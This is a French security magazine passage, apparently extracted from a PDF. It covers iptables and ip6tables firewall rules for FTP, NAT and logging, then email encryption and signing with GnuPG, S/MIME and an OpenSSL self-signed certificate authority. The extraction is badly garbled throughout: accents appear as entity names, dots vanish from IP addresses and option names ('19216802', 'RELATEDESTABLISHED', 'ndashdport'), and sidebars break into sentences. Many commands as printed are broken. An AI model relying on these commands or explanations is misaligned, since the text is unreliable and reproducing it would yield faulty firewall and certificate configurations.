iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 21 -j

ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP -d

19216802 --sport 21 --dport 1024 -j ACCEPT

iptables -A INPUT -m state --state RELATEDESTABLISHED

-p TCP -d 19216802 --sport 20 --dport 1024

-j ACCEPT

iptables -A OUTPUT -m state --state ESTABLISHED -p TCP

-s 19216802 --sport 1024 --dport 20 -j

ACCEPT

Mais voilagrave dans la majoriteacute des cas si vous avez un routeur et que vous souhaitez teacuteleacutecharger des fichiers vous devez utiliser le mode passif La probleacutematique du mode passif est que nous ne connaissons ni le port source ni le port destination et agrave moins de nutili-ser quun serveur FTP en IP fixe et bien on ne connaicirct pas non plus lIP distante Cela pose un sacreacute problegrave-me imaginez creacuteer une regravegle ougrave lon dit

Jaccepte toutes les connexions provenant de tous les ports distants vers tous mes ports Une telle regravegle mettrait en lair tout le filtrage mis en place Netfilter ne permet pas de geacuterer ce genre de besoin en natif heureusement il est possible dajouter des modules qui eux le gegraverent

Et si je veux filtrer par adresse MAC Exemple

iptables -A INPUT -m mac ndashmac-source 00AABBCCDDEE

ajout de module compleacutementairePour autoriser la gestion de la commande RELATED qui permet deffectuer un suivi de connexion dans le ca-dre du protocole FTP il faut que le module ip_conntrack_ftp soit activeacute dans le fichier etcsysconfigiptables-config pour les distributions Ubuntu il faut ajouter la comman-de modprobe ip_conntrack_ftp dans le fichier etcmodules (si vous souhaitez charger le module maintenant il suffit de taper modprobe ip_conntrack_ftp) On peut maintenant ajouter la regravegle pour prendre en compte les connexions passives pour FTP

iptables -A INPUT -m state --state RELATEDESTABLISHED

-p TCP -s 19216802 --sport 1024 --dport

1024 -j ACCEPT

iptables -A OUTPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 1024 --dport 1024 -j

ACCEPT

utilisation du NatLa redirection de flux est tregraves inteacuteressante et tregraves puis-sante vous pouvez facilement transformer la machine

Firewall

hakin9orgfr 27

locale en routeur Si cest votre besoin pensez agrave activer la redirection avec la commande

sysctl -w netipv4ip_forward=1

ou dans le fichier etcsysctlconf appliquer la ligne netipv4ip _ forward=1

Nous allons ici voir un exemple simple qui redirigera toutes les connexions sortantes de telnet vers le ser-veur telnet local

iptables -t NAT -A OUTPUT -p tcp --dport 23 -j DNAT --

to-destination 19216802

Faciliter la journalisationPour rendre les journaux daudit plus faciles agrave lire il peut ecirctre inteacuteressant de creacuteer des chaicircnes Ici nous al-lons enregistrer la connexion au service ssh local lop-tion limit permet de limiter (au bout de 5 requecirctes) la journalisation

iptables -A INPUT -p TCP --syn -d 19216802 ndashdport 22

-j LOG --log-prefi x CONNEXION AU TELNET --

log-level warn -m limit --limit 1m

Pour lire les messages

less varlogmessages

Exemple de regravegles permettant de journaliser tous les paquets bloqueacutes

iptables -N LOG DROP

iptables -A LOG DROP -j LOG - log-prefi x [iptables_

DROP]

iptables -A LOG DROP -j DROP

et iPV6 Cest bien beau tout ccedila je vous ai preacutesenteacute les bases pour travailler avec Netfilteriptables sous IPV4 mais pour IPV6 quelques eacuteleacutements changent Le premier qui est dune importance capitale est ladressage on passe de 32bits (IPV4) agrave 128bits (IPV6) au lieu donc davoir une adresse en 4 parties 19216802 on se retrouve avec une adresse en 8 parties 12340000002 le multicast local quand agrave lui qui seacutecrivait 1921680024 seacutecrit main-tenant 1234000000016 Pour plus dinformation sur lIPV6 allez voir les RFC correspondantes

La creacuteation des regravegles dans un premier temps nous nutilisons plus la commande iptables mais ip6tables

lutilisation est quasiment identique la diffeacuterence est vi-sible pour seulement quelques protocoles On peut aus-si simplifier leacutecriture par exemple lors de lutilisation de ladresse 12340000002 je peut leacutecrire 12342

Afficher la liste des regravegles de filtrages en numeacuterotant les lignes en indiquant le nombre de paquets traiteacutes sans faire de reacutesolution de port

ip6tables -L -n -v --linePour supprimer une regravegle gracircce agrave son numeacutero de li-

gne

ip6tables -D ltchaicircnegt numeacutero

Exemple autorisation du PING (icmpv6)

ip6tables -A INPUT -p icmpv6 -j ACCEPT

ip6tables -A OUTPUT -p icmpv6 -j ACCEPT

ip6tables -A INPUT -p icmpv6 --icmpv6-type echo-request

-j ACCEPT

Bloquer les requecirctes de connexion entrante

ip6tables -I INPUT -p tcp --syn -j DROP

Je nentrerais pas plus dans le deacutetail le filtrage IPV6 demande un article agrave lui seul et la majoriteacute des reacute-seaux sont encore en IPV4

autres solutionsMaintenant que nous avons vu iptables il existe des solutions pour configurer le pare-feu graphiquement je ne vais pas eacutenumeacuterer les nombreux logiciels existant mais simplement je vous parler de Firewall Builder (voir Figure 5) qui existe sous Linux MacOS et Windows en double licence (GNU Public License pour les systegravemes dexploitation libres et payant pour les autre) Il supporte iptables (Netfilter) ipfilter pf ipfw Cisco PIX (FWSM ASA) et les extended access lists des routeurs Cisco Autant dire que cet outil est tregraves inteacuteressant Sachez que mecircme si vous avez deacutejagrave fait votre configuration avec iptables cet outil permet de louvrir vous navez donc pas besoin de recommencer tout je vous conseille vi-vement de le tester Si vous avez fait le tableau de flux vu preacuteceacutedemment vous vous rendrez compte que luti-lisation est eacutequivalente agrave faire ce tableau attention tout de mecircme en cas de creacuteation de plusieurs profils agrave ne pas oublier dappliquer le bon profil

Agrave PrOPOS De LauteurAutodidacte depuis plus de dix ans dans le domaine du deacutevel-oppement et ladministration lauteur e ectue des audits de seacutecuriteacute informatique pour le compte dun grand groupe franccedilaisMail hantevillenicolasfreefr

Deacutefi nitionUn fi rewall (mur de feupare-feu) est un systegraveme permettant deff ectuer un controcircle des fl ux entrants et sortants sur un reacute-seau ou une machine

6201028

Seacutecuriteacute reacuteSeaux

Aujourdhui le besoin denvoyer des mails est critique plus personne ne peut sen passer pour un usage personnel ou professionnel

Tout dabord le chiffrement de leacutechange de mails chif-freacutes avec (SSLTLS) nest pas proposeacute par tous les fournisseurs daccegraves ou dadresses mails Free par exemple De plus mecircme si lon chiffre la communica-tion avec notre serveur SMTP pour lenvoi de mail rien ne nous garanti que durant sa transmission il sera re-layeacute avec une communication chiffreacutee Le chiffrement de la communication nest donc pas suffisant dautant plus quil ne reacutesoud pas certains problegravemes Il est en effet connu de tous que Google analyse nos mails afin de faire de la publiciteacute cibleacutee et que certains sites peu scrupuleux essayent nos identifiants et mots de pas-se sur nos adresses mails La reacuteponse agrave la question pourquoi signer et chiffrer ses mails prend donc tout son sens avec le chiffrement du contenu des mails Il est donc important de sassurer que certains eacutechan-ges par mails restent confidentiels via la signature et le chiffrement Dune part signer un mail permet au destinataire de sassurer de lidentiteacute de lexpeacutediteur et du contenu du mail Dautre part chiffrer permet das-surer agrave lexpeacutediteur que seul le destinataire pourra lire le mail Bien entendu chiffrer le contenu du mail ne dispense pas de chiffrer la communication avec SSL les deux fonctionnant agrave des niveaux diffeacuterentes cela ne pose aucun problegraveme Nous verrons que lon peut facilement et rapidement mettre en place une solution de chiffrement et de signature en utilisant soit PGP soit

SMIME Les deux permettent de signer et de chiffrer des mails bien que leur fonctionnement et leur utilisa-tion diffegraverent

PGPPGP est un systegraveme de chiffrement eacutelaboreacute par Phi-lip Zimmermann en 1991 Il na pas eacuteteacute conccedilu dans le but unique de chiffrer des mails mais dans un but plus geacuteneacuteral de chiffrement de documents Cest pour cette raison quil a parfois du mal agrave sadapter au formatage dun mail Ce systegraveme a eacuteteacute normaliseacute par LIETF dont OpenPGP est le standard Les deux grandes impleacute-mentations de OpenPGP sont PGP de la PGP Corpo-ration et GnuPG sous licence GPL Par la suite nous nutiliserons que GnuPG(ou GPG) car il est libre Il nen reste pas moins compatible avec limpleacutementa-tion de la PGP Corp

caracteacuteristiques techniquesDun point de vue technique GPG utilise DSA et Elga-mal comme algorithme de chiffrement asymeacutetrique par deacutefaut Il est maintenant possible dutiliser RSA car ce-lui-ci nest plus breveteacute Il diffegravere sur le principe car RSA est baseacute sur la difficulteacute de factoriser des grands nom-bres en nombres premiers alors que DSA et Elgamal sont fondeacutes sur la difficulteacute de reacutesoudre les logarithme discrets En terme de chiffrement symeacutetrique GPG pro-pose notamment le 3DES et lAES ce qui lui vaut lap-pellation de cryptographie ou cryptosystegraveme hybride car mecirclant cryptographie symeacutetrique et asymeacutetrique

chiffrement des mails

Cet article preacutesente le fonctionnement du chiffrement et de la signature des mails On sinteacuteresse donc ici au chiffrement du contenu des mails et des piegraveces jointes via lutilisation des deux grandes technologies du domaine PGP et SMIME Nous allons donc voir comment fonctionne le chiffrement et la signature comment creacuteer ou se procurer cleacutes et certificats et comment les mettre en oeuvre dans un client de messagerie

cet article expliquebull Comment utiliser GPG pour chiffrer et signer des mails et par

extension chiffrer et signer des fichiersbull Comment utiliser les certificats personnels SMIME pour sig-

ner et chiffrer des mails

ce quil faut savoirbull Notions de base en cryptographie asymeacutetrique et symeacutetriquebull Comment fonctionner un service de messagerie(SMTP IMAP)

et le configurer dans un client de messagerie

robin David

chiffrement des mails

hakin9orgfr 29

chacun peut envoyer sa cleacute publique pour la mettre agrave disposition de tous pour le chiffrement tout particu-liegraverement

WotComme dans tout systegraveme deacutechange sur le net se po-se alors la question de la confiance que lon accorde agrave linterlocuteur A linverse dun systegraveme architectureacute autour dun PKI pour PGP la confiance se gegravere de per-sonne agrave personne systegraveme aussi connu sous le nom de laquo Web Of Trust raquo Le Web Of Trust est un concept in-venteacute en mecircme temps que PGP dans le but deacutetablir un niveau de confiance entre les personnes utilisant PGP (voir Figure 2) Il suit un modegravele deacutecentraliseacute et son meacute-

(voir encadreacute et Figure 1) La fonction de hachage utili-seacutee par deacutefaut est le SHA-1

Le standard OpenPGP a lavantage de permettre une grande modulariteacute dans le contenu de la cleacute il est en effet possible dajouter plusieurs UID au sein dune mecircme cleacute donc dajouter plusieurs adresses mail ce qui eacutevite de multiplier le nombre de cleacutes Il est aussi possible dajouter des sous-cleacutes une photo changer le mot de passe de la cleacute priveacutee changer la date dexpiration ou encore modifier les preacutefeacuterences de la cleacute en terme de chiffrement hachage compres-sion

La diffusion des cleacutes publiques se fait par linter-meacutediaire de serveurs de cleacutes PGP publiques Ainsi

envoi dun mail signeacute et chiff reacute

Chiff rement

1 On geacutenegravere la cleacute de session et on chiff re le texte avec2 On ajoute le texte chiff reacute dans le mail3 Bob prend la cleacute public de Alice pour chiff rer la cleacute de session4 Il ajoute la cleacute de session dans le mail

Signature

1 Il hache le corps du texte2 Il chiff re le digest(hash) avec sa cleacute priveacutee pour creacuteer la signature3 Il ajoute la signature dans le mail4 Il envoi le mail agrave Alice

Deacutechiff rement

1 Alice deacutechiff re la cleacute de session avec sa cleacute priveacutee2 Elle deacutechiff re le message avec la cleacute de session

Veacuterifi cation signature

1 Elle deacutechiff re la signature avec la cleacute public de Bob 11 Elle obtient le hash que Bob avait fait du corps du message2 Alice hash le message deacutechiff reacute preacuteceacutedemment3 Si les condensas (hash) sont identiques alors la signature est valide

Figure 1 Envoi dun mail signeacute et chiff reacute

6201030

Seacutecuriteacute reacuteSeaux

canisme central est la signature des cleacutes Le principe est de signer avec sa cleacute priveacutee la cleacute publique de quel-quun dont on confirme lidentiteacute suite agrave une rencontre physique ou au cours dune Signing Party

Il existe trois grandes situations pour lesquelles PGP accorde sa confiance agrave une cleacute

bull On a signeacute la cleacute de quelquun directement ou in-directement (si on agrave configureacute notre cleacute avec un ni-veau de confiance maximum ce qui parait normal)

bull Notre cleacute et la cleacute du destinataire est signeacute par une 3egraveme personne(tiers) agrave laquelle on a accordeacute le ni-veau de confiance maximum

bull Par reacuteaction en chaicircne on agrave accordeacute notre confian-ce agrave la personne en accordant le niveau de confian-ce maximum agrave une personne qui la signeacute)

bull NoteDans gpg on peut configurer le trust-model par deacutefaut cest le Web Of Trust ci-dessus mais il en existe dautres tels que le direct ou la validiteacute dune cleacute nest pas calculeacutee avec le Web Of Trust mais deacutefinie par lutilisateur ou encore le always qui ne tient pas compte du Web Of Trust Ainsi si la si-gnature est bonne la cleacute est de confiance sinon elle ne lest pas

risques lieacutes agrave la technologie PGPLe principal risque lieacute agrave PGP est la diffusion de la cleacute En effet nimporte qui peut creacuteer une cleacute PGP

avec une adresse mail quil ne possegravede pas et len-voyer sur un serveur de cleacute publique Ce pheacutenomegrave-ne dusurpation didentiteacute est le principal risque car un mail chiffreacute avec une cleacute usurpeacutee sera lisible par lusurpateur en supposant quil ait accegraves agrave la boite aux lettres eacutelectronique ou quil soit apte agrave intercep-ter les mails en amont Dans ce cas lagrave rien nem-pecircche lusurpateur de deacutechiffrer le mail le chiffrer agrave nouveau avec la bonne cleacute et de le renvoyer agrave la bonne personne ce qui fait finalement penser agrave du man in the middle Cependant en pratique la mise en place de ce genre dattaque doit ecirctre tregraves com-plexe

Le deuxiegraveme inconveacutenient de PGP est labsence de meacutethode pro-active pour veacuterifier la validiteacute dune cleacute Par exemple lorsque lon reacutevoque notre cleacute et quon lenvoie sur un serveur de cleacute celle-ci est reacutevo-queacutee Cependant si nos correspondant ne procegravedent pas veacuterification manuelle(gpg --refresh-keys) de leacutetat de la cleacute alors ils continuerons agrave utiliser une cleacute qui est normalement reacutevoqueacutee Cependant rien ne nous empecircche de mettre cette commande dans un cron-tab ou automatiser la mise agrave jour dune quelconque maniegravere

La meilleure solution contre ces problegravemes reste la communication avec les correspondants y compris lors de la prise de contact pour quil vous transmette lID de sa cleacute ou son fingerprint

Fonctionnement du Web of trust

1 Bob creacutee sa cleacute et lenvoie sur un serveur de cleacute PGP2 Alice veut envoyer un message agrave Bob et teacuteleacutecharge la cleacute Comment ecirctre sucircr que cest bien celle de Bob 3 Dans ce cas Alice a signeacute la cleacute dun ami qui agrave lui mecircme signeacute la cleacute de Bob donc indirectement Alice agrave confi ance dans la cleacute de

Bob et elle pourra chiff rer en toute confi ance des messages pour Bob

Figure 2 Systegraveme de confi ance PGP

6201032

Seacutecuriteacute reacuteSeaux

GnuPG en pratiqueAvant de pouvoir eacutechanger une quelconque cleacute il faut dabord la creacutee Voici comment creacuteer un couple de cleacutes et quelques informations pour ladministrer

Avant de commencer il faut savoir que certains lo-giciels et plugins permettent de creacuteer et dadministrer les cleacutes Cela reste cependant plus instructif de le faire manuellement

De plus il faut savoir que le trousseau de cleacutes de lutili-sateur et toutes les cleacutes teacuteleacutechargeacutees se trouvent dans le dossier gnupg du homedir Les principaux fichiers sont gpgconf le fichier de configuration qui deacutefinit notamment le serveur de cleacutes par deacutefaut pubringgpg et secringgpg qui contiennent respectivement les cleacutes publiques et les cleacutes priveacutees et enfin trustdbgpg qui contient les informa-tions relatives agrave la confiance des cleacutes En effet il est im-portant de savoir que la confiance que lon accorde aux cleacutes est deacutependante du trousseau de cleacutes Enfin lavan-tage de GPG (par rapport agrave SMIME) est decirctre conccedilu de la mecircme maniegravere que ce soit Mac OS X Windows ou Linux Les cleacutes seront toujours stockeacutees dans le reacuteper-toire utilisateur dans un format binaire Par deacutefaut sous Linux gpg est installeacute avec la distribution Pour Windows il faut se procurer le logiciel et ajouter gpgexe dans le path Pour Mac il existe un portage de gpg qui sappelle MacGPG mais son fonctionnement est identique

Pour creacuteer une cleacute en console rien de plus simple

gpg ndashgen-key

Il suffit de suivre les instructions pour le choix du chiffrement laisser par deacutefaut DSA et Elgamal en-

suite vous pouvez agrandir la taille de la cleacute si el-le ne vous convient pas Ne vous inquieacutetez pas sil vous est demandeacute dagiter la souris et dap-puyer sur les touches de votre clavier Il a besoin au moins au deacutebut de geacuteneacuterer des nombres aleacutea-toires pour la creacuteation de la cleacute Ceci fait votre pai-re de cleacutes alors elles se trouvent dans votre trous-seau de cleacutes dans votre homedir Les commandes de bases sont

gpg ndashlist-key et gpg --list-secret-key qui liste respec-tivement toutes les cleacutes publiques et toutes les cleacutes pri-veacutees du trousseau de cleacutes (keyring)

gpg ndashlist-sigs permet de lister toutes les signatures des cleacutes ou de la cleacute speacutecifieacutee

gpg ndashexport monuid permet dexporter la paire de cleacutes speacutecifieacutee(par deacutefaut sur la sortie standard)

gpg ndashedit-key monuid permet deacutediter la cleacute identifieacutee par monuid

Une fois le prompt afficheacute tapez help et de nombreu-ses options soffrent agrave vous sachant quil faudra entrer le mot de passe de la cleacute priveacutee pour les opeacuterations tou-chant directement la cleacute

Se pose alors la question comment on teacuteleacutecharge les cleacutes de nos correspondants et comment met-on agrave dis-position notre cleacute publique La meacutethode standard est dutiliser un serveur de cleacute qui soccupera de reacutepliquer cette cleacute sur dautre serveurs

Pour teacuteleacutecharger une cleacute si lon connaicirct deacutejagrave lidenti-fiant de la cleacute on peut utiliser

gpg ndashkeyserver pgpmitedu ndashrecv-keys [uid] pour la teacuteleacute-charger On peut cependant la teacuteleacutecharger du serveur que lon veut

Figure 3 Menu de gestion des cleacutes

chiffrement des mails

hakin9orgfr 33

Dans le cas eacutecheacuteant il existe une alternative

gpg ndashkeyserver pgpmitedu ndashsearch-keys [recherche]

Sachant que la recherche seffectue sur le nom ladresse mail et lUID de la cleacute

Maintenant on va pouvoir enfin envoyer des mails chiffreacutes et signeacutes

impleacutementations dans les MuaQuelles sont maintenant les diffeacuterentes impleacutementations de gpg dans les clients de messageries Celle auquel-le on va sinteacuteresser tout particuliegraverement est Enig-mail Enigmail est un plugin pour Thunderbird et a donc lavantage de fonctionner sur Windows Linux et Mac Il en existe cependant un pour Windows GPG4Win qui inclus un gestionnaire de cleacutes un plugin pour Outlook 2003 un logiciel pour le chiffrement de fichiers et gegravere par la mecircme occasion les certificats x509 Sous Linux GPG est installeacute par deacutefaut sur la plupart des distribu-tions et les clients de messageries tel que Kmail ou Evolution gegraverent nativement sans plugin le PGP Pour ce qui est de Mac il existe un portage de GnuPG appeleacute MacGPG un logiciel de gestion des cleacutes appeleacute GPG Keychain et un plugin pour Mail appeleacute GPGMail

Enfin il est inteacuteressant de noter quil existe un plu-gin pour Firefox permettant de faire du chiffrement PGP

dans les webmails Il sappelle FireGPG mais nest mal-heureusement plus supporteacute depuis le 7 Juin 2010 Nous allons donc nous inteacuteresser au plugin Enigmail qui est de loin le plus eacutevolueacute et qui permet une adminis-tration complegravete de GnuPG

Lors du premier lancement de Thunderbird avec Enig-mail lassistant propose de creacuteer un couple de cleacutes si on la possegravede deacutejagrave il suffit dignorer lassistant Deux menus sont importants OpenPGPGestion des Clefs qui permet dimporter une cleacute chercher une cleacute sur un serveur signer une cleacute afficher les proprieacuteteacutes dune cleacute ou encore de modifier son niveau de confiance (voir Fi-gure 3)

Le deuxiegraveme eacuteleacutement important est la configuration quil vaut mieux eacuteviter de bidouiller sans connaicirctre ce-pendant une option est tregraves inteacuteressante agrave activer Cet-te option se trouve dans OpenPGPPreacutefeacuterences onglet Serveur de clefs apregraves avoir cliqueacute sur le mode expert cest loption de teacuteleacutechargement automatique des clefs lors de la reacuteception dun message signeacute dont on ne pos-segravede pas la cleacute publique (voir Figure 4)

La derniegravere eacutetape avant de pouvoir signer des mails est dassocier une cleacute agrave un compte pour cela il faut aller dans les proprieacuteteacutes du compte (account settings) activer OpenPGP pour ce compte et choi-sir la bonne cleacute (ou laisser le choix automatique par ladresse mail)

Figure 4 Activation de loption de teacuteleacutechargement automatique

6201034

Seacutecuriteacute reacuteSeaux

Il est maintenant possible de signer des mails avec PGP et de chiffrer si lon possegravede la cleacute pu-blique de notre destinataire On signe un message en cliquant sur le bouton OpenPGP de la fenecirctre de reacutedaction de message Remarque il est preacutefeacuterable de cocher PGPMIME car ceci active le support du PGPMIME(voir terminologie) De cette maniegravere si le client de messagerie du destinataire ne supporte pas lOpenPGP alors la signature ne viendra pas pa-rasiter le contenu du mail car elle se trouvera dans les en-tecirctes(bien quelle puisse apparaicirctre comme piegravece jointe)

SMiMeSMIME pour secure MIME est une extension du stan-dard MIME pour y inclure la signature numeacuterique encap-suleacutee au format MIME Il est donc plus particuliegraverement conccedilu pour la signature et le chiffrement des mails Les certificats SMIME ou certificats personnels(voir chapi-tre suivant) sont des certificats fondeacutes sur les certifi-cats x509 Le x509 est un format standard de certificat eacutelectronique il introduit certains concepts comme les listes de reacutevocations Comme tout certificat x509 les certificats SMIME sarticulent autour dune autoriteacute de certification ou CA(Certification Authority) qui deacutelivre le

creacuteation dune autoriteacute de certifi cationIl est tregraves simple de creacuteer des certifi cats auto-signeacutes avec OpenSSL le plus simple est dutiliser le script Perl inclus avec OpenSSL pour creacuteer des certifi cats CApl facilementCependant il ne permet pas une confi guration du CA il est donc preacutefeacuterable den recreacuteer un Voici les diff eacuterentes eacutetapes Il faut dabord creacuteer larborescence des dossiers et des fi chiers

On a larborescence de base il faut ensuite copier le opensslcnf dans le dossier pour pouvoir personnaliser notre autoriteacute de certifi -cationcp etcsslopensslcnf monACIl faut cependant modifi er une ligne dans le fi chierdir = demoCA en dir = On peut donc maintenant modifi er le opensslcnf pour modifi er le comportement du CA cest agrave dire la longueur des cleacutes par deacutefaut ajout de la gestion des SAN pour les certifi cats serveurs etcAttention la confi guration du fi chier opensslcnf est un peu deacutelicate et peut neacutecessiter de lexpeacuterience pour comprendre son fonctionnementIl ne reste plus quagrave geacuteneacuterer le certifi cat du CA qui servira agrave signer les autres certifi catsOn geacutenegravere la cleacute priveacuteeopenssl genrsa -aes256 -out monACprivatecakeypem 2048On geacutenegravere le certifi cat agrave partir de la cleacute priveacuteeopenssl req -new -x509 -days 365 -key monACprivatecakeykey -out monACprivatecacertpemLe CA ne sera valide quun an avec cette commandeIl ne reste plus qua creacuteer le certifi cat utilisateuropenssl genrsa -out monACprivatecuser-priveepem 2048On creacutee la CSR qui sera soumise agrave lautoriteacute de certifi cation que lon vient de creacuteer openssl req -new -nodes -key monACprivateuser-priveepem -out monACnewcertscsrpemLe CA doit maintenant signer la CSR pour geacuteneacuterer le certifi cat openssl ca -in monACnewcertscsrpem -out monACcertsuser-publicpem -keyfi le monACprivatecakeypem -cert monAC

privatecacertpem -confi g monACopensslcnfIl est important de preacuteciser le fi chier de confi guration dans lequel sera lu les informations par deacutefaut dureacutee de validiteacute etc Si rien nest preacuteciseacute le fi chier de confi guration utiliseacute est etcsslopensslcnfNote pour affi cher ce que permet le certifi cat il faut faire openssl x509 -purpose -in certifi catpem -nooutPour rendre le certifi cat utilisable il ne reste plus qua le convertir en PKCS 12openssl pkcs12 -export -in monACcertsuser-publicpem -inkey monACprivateuser-priveepem -out certifi catp12Ceci est donc une meacutethode rapide et effi cace de creacuteer des certifi cats auto-signeacutes Il est aussi possible de mettre en place une ar-chitecture beaucoup plus complexe avec cette fois-ci un vrai PKI Il existe un grand nombre de logiciels permettant de mettre en place un PKI avec reacutepondeur OCSP gestion des listes de reacutevocations etc Pour cela il faut se tourner vers EJBCA OpenCA ou enco-re NewPKI

listing 1 Creacuteation dune arborescence pour une autoriteacute de certifi cation

mkdir monAC

mkdir monACcerts

monACnewcerts

monACprivate

echo 01 gt monACserial

touch monACindextxt

chiffrement des mails

hakin9orgfr 35

certificat gegravere les reacutevocations via la parution reacuteguliegravere de listes de reacutevocations et la mise en place dun service de reacutepondeur OCSP

caracteacuteristiques techniquesTout comme PGP SMIME utilise le plus souvent un systegraveme de chiffrement asymeacutetrique RSA Les algo-rithmes de chiffrement symeacutetriques utiliseacutes sont le RC4 et le 3DES

La fonction de hachage principale utiliseacutee est la mecirc-me que pour GPG cest agrave dire SHA-1 Cependant SMIME diverge sur le codage utiliseacute qui est le Base64 conformeacutement a MIME alors que historiquement PGP utilise le ASCII Armor qui diffegravere un peu dans son fonc-tionnement

Tout les certificats x509 peuvent se trouver de deux maniegraveres diffeacuterentes soit en DER format binaire soit en PEM(plus reacutepandus) qui est du DER encodeacute en Base64 avec un marqueur de deacutebut et de fin tel que ----BEGIN CERTIFICATE----- et -----END CERTIFICATE-----

A linverse de PGP pour SMIME il nexiste pas de meacutethode preacutedeacutefinie pour la diffusion dun certificat Ce-pendant lorsque lon signe un mail et quon lenvoie le certificat est automatiquement ajouteacute dans les en-tecirc-tes MIME pour permettre au destinataire de veacuterifier la signature A partir de lagrave le comportement du client de messagerie peut diffeacuterer Thunderbird par exemple im-porte le certificat dans son trousseau de certificats lors-que celui-ci est valide

Il faut donc deacutejagrave posseacuteder le certificat pour chiffrer un mail pour quelquun ou alors ce dernier nous envoie dabord un mail signeacute et valide

Veacuterification certificatLe modegravele de veacuterification utiliseacute pour les certificats x509 et donc les certificats SMIME est un modegravele centraliseacute avec pour point central un PKI ou IGC pour infrastruc-ture de gestion des cleacutes

La veacuterification dun certificat par le client de messa-gerie lors de la reacuteception dun mail se deacuteroule comme suit

bull Le client de messagerie veacuterifie que la signature est valide avec le certificat de lexpeacutediteur(inclus dans les en-tecirctes)

bull Il fait des veacuterifications simples telles que la veacuterifica-tion de la date de validiteacute du certificat

bull Il cherche dans le champ certificate issuer le certi-ficat de lautoriteacute de certification signataire et veacuterifie lempreinte du certificat pour ecirctre sucircr quil agrave bien eacuteteacute signeacute par celui-ci Sil ne possegravede pas pas le certifi-cat du signataire il remonte dans la chaicircne pour es-sayer de trouver un certificat de confiance Sil nen possegravede aucun alors le certificat nest pas signeacute par une autoriteacute de confiance

bull Enfin selon la configuration du client de messa-gerie et dans le cas oucirc le certificat de lexpeacutediteur preacutecise une adresse OCSP alors celui-ci peut ef-fectuer une requecircte au serveur OCSP de lautoriteacute de certification pour veacuterifier quil nest pas reacutevoqueacute Le serveur reacutepond soit unknown soit revoked soit good

Si lensemble de la proceacutedure est conforme alors le certificat est valide

Figure 5 La chaine de certification

6201036

Seacutecuriteacute reacuteSeaux

Lorsque lon utilise des certificats auto-signeacutes leacutechec se situera donc dans la recherche de lautoriteacute de certi-fication signataire

comment se procurer un certifi cat Il existe un certains nombre de classes pour les certifi-cats personnels (voir chapitre suivant) cependant pour un usage personnel les certificats de classe 1 restent les plus adapteacutes dautant plus que lon peut sen procu-rer gratuitement Voici diffeacuterents liens

InstantSSL une autoriteacute intermeacutediaire issue de Co-modo

httpssecureinstantsslcomproductsfrontpagearea=SecureEmailCertificateampcurrency=EURampregion=Europeampcountry=FRampentryURL=http3AwwwinstantsslcomampreferrerURL=http3Awwwgooglefrsearch3Fhl3Dfr26q3Dinstantssl26aq3Df26aqi3Dg126aql3D26oq3D26gs_rfai3D

TBS httpswwwtbs-internetcomphpHTMLcommande

phpp=2ampid=106Secoriohttpssecurecomodonetproductsfrontpageap=S

ecorioamparea=SecureEmailCertificateampproduct=9ampdays=365

A noter quil est tout agrave fait possible de signer soi-mecircme un certificat ce qui peut ecirctre inteacuteressant pour un usage interne agrave condition de diffuser le certificat signataire autrement dit celui de lautoriteacute de certifica-tion creacutee

Suivez la proceacutedure de creacuteation du certificat elle est extrecircmement simpleIl y a juste une veacuterification de ladresse mail Par ailleurs noubliez pas votre mot de passe de reacutevocation car si vous loubliez vous ne pourrez pas reacutevoquer le certificat sil est compromis Le certificat est directement ajouteacute dans le trousseau de certificat de votre navigateur Web lorsque lon cli-que sur le lien pour le reacutecupeacuterer Donc si vous voulez limporter dans un client de messagerie il faudra lex-porter puis le reacuteimporter dans le client en le proteacutegeant au passage par un mot de passe Le gestionnaire de certificat dans Firefox se trouve dans Editionpreacutefeacuteren-cesAvanceacute onglet chiffrement bouton afficher les cer-tificats

A noter que dans cette proceacutedure la cleacute priveacutee est geacuteneacutereacutee par le navigateur qui lenvoie agrave lautoriteacute de certification pour signature En ce qui concerne un certificat SMIME agrave linverse de PGP une fois le cer-tificat creacutee on ne peut pas le modifier la seule chose que lon peut faire en terme dadministration est le reacutevoquer aupregraves de lautoriteacute de certification signa-taire

A propos des formats de certificats Un mecircme certi-ficat peut se trouver sous plusieurs formes Par sou-ci de simpliciteacute les certificats personnels se trouvent dans le format PKCS12 ougrave la cleacute publique et la cleacute priveacutee sont inclues dans le mecircme fichier Cependant lorsque lon envoi un mail signeacute le certificat ajouteacute dans les en-tecirctes MIME est au format PKCS7 qui lui ne contient que la cleacute publique et heureusement (voir lien pour les diffeacuterents format pkcs) Le format PKCS a eacuteteacute eacutelaboreacute par la socieacuteteacute RSA qui nest pas un or-ganisme de normalisation Le format PKCS nest donc pas une norme Cependant lIETF a normaliseacute un stan-dard cryptographique CMS qui lui est baseacute sur la syn-taxe du PKCS

utiliser un certifi cat dans un client de messagerieLa meacutethode la plus simple pour utiliser un certificat SMIME est de limporter dans le client de messagerie Cependant agrave plus grande eacutechelle il est envisageable de mettre en place un passerelle de chiffrement et de signature des mails comme Djigzo Djigzo par exemple permet le chiffrement et la signature automatique des mails par simple ajout dun mot cleacute dans le sujet du mail et sintercale par exemple entre le serveur SMTP inter-ne et lexteacuterieur

Comme indiqueacute preacuteceacutedemment quasiment tout les clients de messageries impleacutementent SMIME nati-vement il suffit donc pour la plupart daller dans les proprieacuteteacutes du compte de messagerie et dimporter le certificat au format PKCS12 Petite variante pour Mac OS avec Mail ou limportation ne se fait pas dans Mail mais dans le keychain access Mail lors de son lan-cement veacuterifie automatiquement sil existe un certifi-cat au nom de ladresse de messagerie dans le ges-

terminologie

bull Un PKI ou IGC est une infrastructure de gestion des cleacutes Autour de cela tournent deux entiteacutes principales Le CA ou autoriteacute de certifi cation a pour mission de signer les CSR et le RA pour Autoriteacute denregistrement soccupe de reacutecupeacuterer les demandes de certifi cats il creacutee le certifi cat pour le faire signer Les autoriteacutes de certifi cations admi-nistrent donc un PKI et mettent agrave disposition leurs servi-ces pour fournir des certifi cats valides dans les clients de messagerie avec lesquels ils ont des accords Note CA dans son utilisation courante deacutesigne lautoriteacute de certifi -cation en tant que fournisseur de service(Globasign add-Trust)

